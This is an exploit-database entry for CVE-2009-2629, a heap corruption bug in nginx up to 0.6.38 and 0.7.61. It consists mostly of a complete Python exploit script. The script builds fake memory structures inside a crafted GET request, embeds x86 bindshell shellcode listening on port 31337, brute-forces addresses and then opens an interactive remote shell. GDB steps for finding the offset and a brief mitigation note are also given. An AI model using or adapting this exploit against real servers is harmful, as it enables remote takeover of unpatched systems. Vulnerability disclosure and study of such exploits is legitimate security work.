header-logo
Suggest Exploit
vendor:
nginx
by:
aaron conole
7,5
CVSS
HIGH
Heap Corruption
119
CWE
Product Name: nginx
Affected Version From: 0.6.38
Affected Version To: 0.7.61
Patch Exists: YES
Related CWE: 2009-2629
CPE: nginx
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: BT4R1
2010

nginx heap corruption

This exploit is for nginx versions <= 0.6.38 and <= 0.7.61. It is written and tested against BT4, an intel x86 setup. The exploit requires knowledge of the offset and pad to gain control of execution flow. To verify the exploit, launch nginx, attach GDB to the worker and target it with the exploit, setting the offset to 0. When the worker gets a sigsegv, it will be on a line which looks like 'if (ctx->offset)', at that point type 'p *r'. In the r data structure will be a few different fields, one which is a buffer that contains 'GET //../Aa0'. Add 131 to the pointer value of that buffer and set the last octet to 00.

Mitigation:

Merge slashes should be enabled in the configuration.
Source

Exploit-DB raw data:

#!/usr/bin/env python
#
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole <apconole@yahoo.com>
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
#
# note: this was written and tested against BT4. This means it's an
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
#       also - only tested successfully against nginx 0.6.38
#              you'll definitely need to modify against other versions
#
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
#
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
#   if (ctx->offset)
#
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
#       found a "magic" combination that would cause the state machine to do
#       what I want to make the bug trigger. Once I do, you can bet BUG will be
#       replaced.

#Basically, on BT4:
#- compile
#- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
#- Launch nginx, and attach GDB to the worker
#- Send the exploit at it with offset 0x11111111
#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
#- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).
#- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).
#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
#- In a minute or two, you should be given the shell.

import os
import sys
import socket
import select
import struct
import time
import urllib

REQUEST_METHOD='GET '

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'

# NOTE - this shellcode was shamelessly stolen from the www
#        port 31337 bindshell for /bin/sh
SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
DOUBLE_SLASH='//../'

BUG=DOUBLE_SLASH

# taken from the metasploit pattern_create.rb
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'

def connect_socket(host,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect( (host, port) )
    except:
        return 0
    #sock.setblocking(0)
    return sock

def handle_connection(sock):
    while(1):
        r, w, e = select.select( [sock, sys.stdin],
                                 [],
                                 [sock, sys.stdin] )
        for s in r:
            if s == sys.stdin:
                buf = sys.stdin.readline()
                
                try:
                    if buf != '':
                        sock.send(buf)
                except:
                    print "Xon close?"
                    return 0
                
            elif s == sock:
                try:
                    buf = sock.recv(100)
                except:
                    print "Xon close?"
                    return 0
                if buf != '':
                    sys.stdout.write(buf)

def main(argv):
    argc = len(argv)

    if argc < 4:
        print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])
        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
        print "[*] host = the remote host name"
        print "[*] port = the remote port"
        print "[*] ctx_addr is where the context address should begin at"
        print "[*] -b specifies a brute-force (which will start at ctx_addr"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    ctx_addr = int(argv[3],16)

    brute_flag = 0
    if(argc == 5):
        brute_flag = 1

    testing = 1

    print "[*] target: %s:%d" % (host, port)

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)

    print "[*] sending exploit string to %s:%d" % (host, port)

    while(testing):
        
        CTX_ADDRESS = struct.pack('<L',ctx_addr)
        CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)
        POOL_ADDRESS = struct.pack('<L',ctx_addr+56)
        DATA_ADDRESS = struct.pack('<L',ctx_addr+86)
        RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)
        SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)

        #PADDING
        SHELLCODE=PATTERN[:67]

        #the output context structure
        SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS
    
        #Magic
        SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR

        #this is the context object - some null ptrs, then we set range, then
        #pool address
        SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'
        SHELLCODE+=NULLPTR*2+POOL_ADDRESS

        #this is the data buffer object
        SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR

        #this is the pool memory structure ..
        SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR

        # this is the range structure
        SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3

        SHELLCODE+=SHELL
    
        payload = REQUEST_METHOD
        payload += BUG
        payload += SHELLCODE
        payload += ' HTTP/1.0\r\n\r\n'

        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sd.connect((host, port))
        sd.send(payload)
        sd.close()

        if (brute_flag):
            nsock = connect_socket(host,31337)
            if nsock != 0:
                print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
                testing = 0
                handle_connection(nsock)
            else:
                ctx_addr = ctx_addr + 1
        else:
            testing = 0
    print "[*] FIN."

if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF